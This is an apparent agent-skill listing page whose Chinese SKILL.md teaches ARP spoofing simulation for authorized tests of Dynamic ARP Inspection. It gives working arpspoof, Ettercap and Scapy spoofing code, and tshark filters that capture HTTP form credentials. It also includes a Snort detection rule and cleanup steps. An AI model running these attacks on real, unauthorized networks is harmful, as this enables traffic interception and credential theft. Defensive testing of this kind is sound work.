performing-arp-spoofing-attack-simulation

在授权的实验室或渗透测试环境中,使用 arpspoof、Ettercap 和 Scapy 模拟 ARP 欺骗攻击, 以演示中间人攻击风险、测试网络检测能力并验证 ARP 检测对策。

9 stars

Best use case

performing-arp-spoofing-attack-simulation is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

在授权的实验室或渗透测试环境中,使用 arpspoof、Ettercap 和 Scapy 模拟 ARP 欺骗攻击, 以演示中间人攻击风险、测试网络检测能力并验证 ARP 检测对策。

Teams using performing-arp-spoofing-attack-simulation should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/performing-arp-spoofing-attack-simulation/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/performing-arp-spoofing-attack-simulation/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/performing-arp-spoofing-attack-simulation/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How performing-arp-spoofing-attack-simulation Compares

Feature / Agentperforming-arp-spoofing-attack-simulationStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

在授权的实验室或渗透测试环境中,使用 arpspoof、Ettercap 和 Scapy 模拟 ARP 欺骗攻击, 以演示中间人攻击风险、测试网络检测能力并验证 ARP 检测对策。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行 ARP 欺骗攻击模拟

## 适用场景

- 测试网络交换机和基础设施是否正确实施了动态 ARP 检测(Dynamic ARP Inspection,DAI)
- 在授权安全评估中向干系人演示中间人攻击风险
- 验证网络监控工具(IDS/IPS、SIEM)是否能检测到 ARP 缓存投毒尝试
- 评估端口安全、802.1X 和 VLAN 分段控制的有效性
- 培训 SOC 分析师识别网络流量中的 ARP 欺骗指标

**不适用于** 在没有明确书面授权和回滚方案的情况下对生产网络使用,针对承载关键或生命安全流量的网络使用,或作为拒绝服务攻击向量使用。

## 前置条件

- 明确授权文件,指定 ARP 欺骗模拟的目标网络段
- 安装了 arpspoof、Ettercap 和 Scapy 的 Kali Linux 或同类渗透测试发行版
- 对目标网络段的直接二层访问(与目标主机在同一 VLAN)
- 了解 IP 转发,能够在攻击者机器上启用/禁用数据包转发
- Wireshark 或 tcpdump 用于捕获流量以验证截获效果
- 隔离的实验室环境或经批准的生产测试窗口

## 工作流程

### 步骤 1:枚举目标网络段

```bash
# 发现本地子网上的主机
nmap -sn -PR 192.168.1.0/24 -oG arp_discovery.txt

# 识别默认网关
ip route show default
# 输出:default via 192.168.1.1 dev eth0

# 识别目标主机及其 MAC 地址
arp-scan -l -I eth0

# 验证当前 ARP 表
arp -a

# 记录网关 IP(192.168.1.1)和目标主机 IP(192.168.1.50)
# 记录其合法 MAC 地址用于验证和清理
```

### 步骤 2:启用 IP 转发

```bash
# 启用 IPv4 转发以在受害者和网关之间中继数据包
sudo sysctl -w net.ipv4.ip_forward=1

# 验证转发已启用
cat /proc/sys/net/ipv4/ip_forward
# 应输出:1

# 可选:防止可能警告受害者的 ICMP 重定向
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0
```

### 步骤 3:使用 arpspoof 执行 ARP 欺骗

```bash
# 向目标欺骗网关(告诉目标我们是网关)
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1

# 在单独的终端中,向网关欺骗目标(双向)
sudo arpspoof -i eth0 -t 192.168.1.1 -r 192.168.1.50

# 替代方案:使用 Ettercap 进行统一的双向欺骗
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1//
```

### 步骤 4:捕获和分析截获的流量

```bash
# 捕获流经攻击者机器的所有流量
sudo tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.50

# 使用 tshark 实时捕获 HTTP 凭据
sudo tshark -i eth0 -Y "http.request.method == POST" \
  -T fields -e ip.src -e http.host -e http.request.uri -e urlencoded-form.value

# 捕获来自受害者的 DNS 查询
sudo tshark -i eth0 -Y "dns.qry.name and ip.src == 192.168.1.50" \
  -T fields -e frame.time -e dns.qry.name

# 使用 Ettercap 配合密码收集过滤器
sudo ettercap -T -q -i eth0 -M arp:remote /192.168.1.50// /192.168.1.1// \
  -w ettercap_capture.pcap
```

### 步骤 5:使用 Scapy 演示影响(自定义 ARP 数据包)

```python
#!/usr/bin/env python3
"""使用 Scapy 进行 ARP 欺骗演示——仅用于授权安全测试。"""

from scapy.all import Ether, ARP, sendp, srp, conf
import time
import sys

conf.verb = 0

def get_mac(ip, iface="eth0"):
    """通过 ARP 请求将 IP 解析为 MAC 地址。"""
    ans, _ = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip),
                 timeout=2, iface=iface)
    if ans:
        return ans[0][1].hwsrc
    return None

def spoof(target_ip, spoof_ip, target_mac, iface="eth0"):
    """向目标发送欺骗的 ARP 响应。"""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sendp(Ether(dst=target_mac) / packet, iface=iface, verbose=False)

def restore(target_ip, gateway_ip, target_mac, gateway_mac, iface="eth0"):
    """恢复合法的 ARP 条目。"""
    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
                 psrc=gateway_ip, hwsrc=gateway_mac)
    sendp(Ether(dst=target_mac) / packet, iface=iface, count=5, verbose=False)

if __name__ == "__main__":
    target_ip = "192.168.1.50"
    gateway_ip = "192.168.1.1"
    iface = "eth0"

    target_mac = get_mac(target_ip, iface)
    gateway_mac = get_mac(gateway_ip, iface)

    if not target_mac or not gateway_mac:
        print("[!] 无法解析 MAC 地址。正在退出。")
        sys.exit(1)

    print(f"[*] 目标:{target_ip} ({target_mac})")
    print(f"[*] 网关:{gateway_ip} ({gateway_mac})")
    print("[*] 开始 ARP 欺骗... 按 Ctrl+C 停止。")

    try:
        packets_sent = 0
        while True:
            spoof(target_ip, gateway_ip, target_mac, iface)
            spoof(gateway_ip, target_ip, gateway_mac, iface)
            packets_sent += 2
            print(f"\r[*] 已发送数据包:{packets_sent}", end="")
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] 正在恢复 ARP 表...")
        restore(target_ip, gateway_ip, target_mac, gateway_mac, iface)
        restore(gateway_ip, target_ip, gateway_mac, target_mac, iface)
        print("[*] ARP 表已恢复。正在退出。")
```

### 步骤 6:验证检测效果并清理

```bash
# 在目标机器上检查 ARP 缓存投毒指标
arp -a | grep 192.168.1.1
# 如果被欺骗,网关 MAC 将与攻击者 MAC 匹配

# 检查 IDS/SIEM 中的 ARP 欺骗告警
# 应触发的 Snort 规则:
# alert arp any any -> any any (msg:"ARP Spoof Detected"; arp.opcode:2;
#   threshold:type both, track by_src, count 30, seconds 10; sid:1000010;)

# 停止攻击并恢复 ARP 表
# 对 arpspoof/ettercap 会话按 Ctrl+C

# 禁用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0

# 如需手动恢复受影响主机的 ARP 条目:
# 在目标主机:arp -d 192.168.1.1 && ping -c 1 192.168.1.1
# 在网关:arp -d 192.168.1.50 && ping -c 1 192.168.1.50

# 验证合法 MAC 地址已恢复
arp -a
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **ARP 缓存投毒(ARP Cache Poisoning)** | 发送伪造 ARP 响应的技术,将攻击者的 MAC 地址与目标 ARP 缓存中其他主机的 IP 地址关联 |
| **无故 ARP(Gratuitous ARP)** | 无需对应请求即发送的 ARP 响应,ARP 欺骗工具用此技术以错误条目更新目标的 ARP 缓存 |
| **动态 ARP 检测(Dynamic ARP Inspection,DAI)** | 交换机级安全功能,根据 DHCP snooping 绑定数据库验证 ARP 数据包并丢弃无效 ARP 流量 |
| **IP 转发(IP Forwarding)** | 内核级设置,允许主机在网络接口间中继数据包,透明中间人截获所需的功能 |
| **DHCP Snooping** | 交换机安全功能,构建 IP 到 MAC 到端口映射的可信绑定表,作为 DAI 验证的基础 |

## 工具与系统

- **arpspoof(dsniff 套件)**:发送持续欺骗 ARP 响应以在两个目标之间重定向流量的简单命令行工具
- **Ettercap**:支持 ARP 欺骗、DNS 欺骗、内容过滤和凭据捕获的综合中间人攻击套件
- **Scapy**:用于精心构造自定义 ARP 数据包,可完全控制所有头字段的 Python 数据包操纵库
- **arp-scan**:通过发送 ARP 请求发现本地网络段上所有主机的网络扫描工具
- **Wireshark**:用于验证 ARP 欺骗成功和捕获截获流量进行分析的数据包分析器

## 常见场景

### 场景:测试企业交换机上动态 ARP 检测的有效性

**场景背景**:网络团队在所有接入层交换机上部署了 Cisco DAI,需要验证 ARP 欺骗尝试是否被正确检测和阻止。测试在专用 VLAN(VLAN 100)上进行,连接到同一交换机的三台测试主机和一台攻击者机器均已获得授权。

**方法**:
1. 记录所有主机的基线 ARP 表以及 DHCP snooping 数据库中的合法 MAC-IP 绑定
2. 从攻击者机器运行 arpspoof,目标为默认网关和测试工作站
3. 通过检查 DAI 统计数据验证交换机是否丢弃了欺骗的 ARP 数据包:`show ip arp inspection statistics vlan 100`
4. 确认测试工作站的 ARP 缓存仍显示合法的网关 MAC 地址
5. 临时在测试 VLAN 上禁用 DAI 并重复攻击,确认在没有控制措施时攻击可以成功
6. 重新启用 DAI 并记录显示控制措施有效的结果
7. 验证为被阻止和未阻止的攻击尝试均生成了 IDS 告警

**常见陷阱**:
- 在没有 DAI 的 VLAN 上运行 ARP 欺骗,意外中断合法流量
- 忘记启用 IP 转发,导致拒绝服务而非透明截获
- 测试后未恢复 ARP 表,导致主机保留过时的缓存条目
- 在中继端口而非接入端口上测试,可能影响多个 VLAN

## 输出格式

```
## ARP 欺骗模拟报告

**测试 ID**:NET-ARP-001
**日期**:2024-03-15 14:00-15:00 UTC
**目标 VLAN**:VLAN 100(192.168.1.0/24)
**攻击者**:192.168.1.99(AA:BB:CC:DD:EE:FF)
**目标**:192.168.1.50(00:11:22:33:44:55)
**网关**:192.168.1.1(00:AA:BB:CC:DD:01)

### 测试结果

| 测试 | DAI 状态 | ARP 欺骗结果 | 流量被截获 |
|------|------------|-------------------|---------------------|
| 测试 1 | 已启用 | 已阻止(交换机丢弃 847 个数据包) | 否 |
| 测试 2 | 已禁用 | 成功(目标 ARP 缓存被投毒) | 是 - 23 个 HTTP 会话 |
| 测试 3 | 已重新启用 | 已阻止 | 否 |

### 检测覆盖
- DAI:通过 - 启用时丢弃所有欺骗的 ARP 响应
- IDS(Snort):通过 - 15 秒内生成告警 SID:1000010
- SIEM:通过 - 2 分钟内告警已关联并升级

### 建议
1. 在所有接入 VLAN 上保持启用 DAI(当前在 VLAN 200、210 上已禁用)
2. 启用 DHCP snooping 速率限制以防止 DHCP 耗尽攻击
3. 部署 802.1X 端口认证以补充 ARP 检测
```

Related Skills

recovering-from-ransomware-attack

9
from killvxk/cybersecurity-skills-zh

按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。

performing-yara-rule-development-for-detection

9
from killvxk/cybersecurity-skills-zh

通过识别可执行文件中的唯一字节模式、字符串和行为指标,开发精准的 YARA 恶意软件检测规则,同时将误报率降至最低。

performing-wireless-security-assessment-with-kismet

9
from killvxk/cybersecurity-skills-zh

使用 Kismet 通过被动射频监控进行无线网络安全评估,检测流氓接入点(Rogue AP)、隐藏 SSID、弱加密和未授权客户端。

performing-wireless-network-penetration-test

9
from killvxk/cybersecurity-skills-zh

执行无线网络渗透测试,通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段,评估 WiFi 安全性。

performing-windows-artifact-analysis-with-eric-zimmerman-tools

9
from killvxk/cybersecurity-skills-zh

使用 Eric Zimmerman 的开源 EZ Tools 套件(包括 KAPE、MFTECmd、PECmd、LECmd、JLECmd 和 Timeline Explorer)执行全面的 Windows 取证制品分析,解析注册表 hive、预取文件、事件日志和文件系统元数据。

performing-wifi-password-cracking-with-aircrack

9
from killvxk/cybersecurity-skills-zh

在授权无线安全评估中捕获 WPA/WPA2 握手包,并使用 aircrack-ng、hashcat 和字典攻击进行离线密码破解, 以评估密码短语强度和无线网络安全状况。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。

performing-web-cache-deception-attack

9
from killvxk/cybersecurity-skills-zh

通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。

performing-web-application-vulnerability-triage

9
from killvxk/cybersecurity-skills-zh

使用 OWASP 风险评级方法论对 DAST/SAST 扫描器的 Web 应用程序漏洞发现进行分类,区分真阳性和假阳性,并确定修复优先级。

performing-web-application-scanning-with-nikto

9
from killvxk/cybersecurity-skills-zh

Nikto 是一款开源 Web 服务器和 Web 应用程序扫描器,可针对超过 7,000 个潜在危险文件/程序进行测试,检查超过 1,250 个服务器的过期版本,并识别超过 270 个服务器的版本特定问题。

performing-web-application-penetration-test

9
from killvxk/cybersecurity-skills-zh

遵循 OWASP Web 安全测试指南(WSTG)方法论,对 Web 应用程序执行系统化安全测试,识别认证、授权、 输入验证、会话管理和业务逻辑中的漏洞。测试人员以 Burp Suite 作为主要拦截代理,结合手动测试技术 发现自动化扫描器遗漏的缺陷。适用于 Web 应用渗透测试、OWASP 测试、应用安全评估或 Web 漏洞测试等请求场景。

performing-web-application-firewall-bypass

9
from killvxk/cybersecurity-skills-zh

使用编码技术、HTTP 方法操控、参数污染和载荷混淆绕过 Web 应用防火墙保护,将 SQL 注入、XSS 及其他攻击载荷穿透 WAF 检测规则。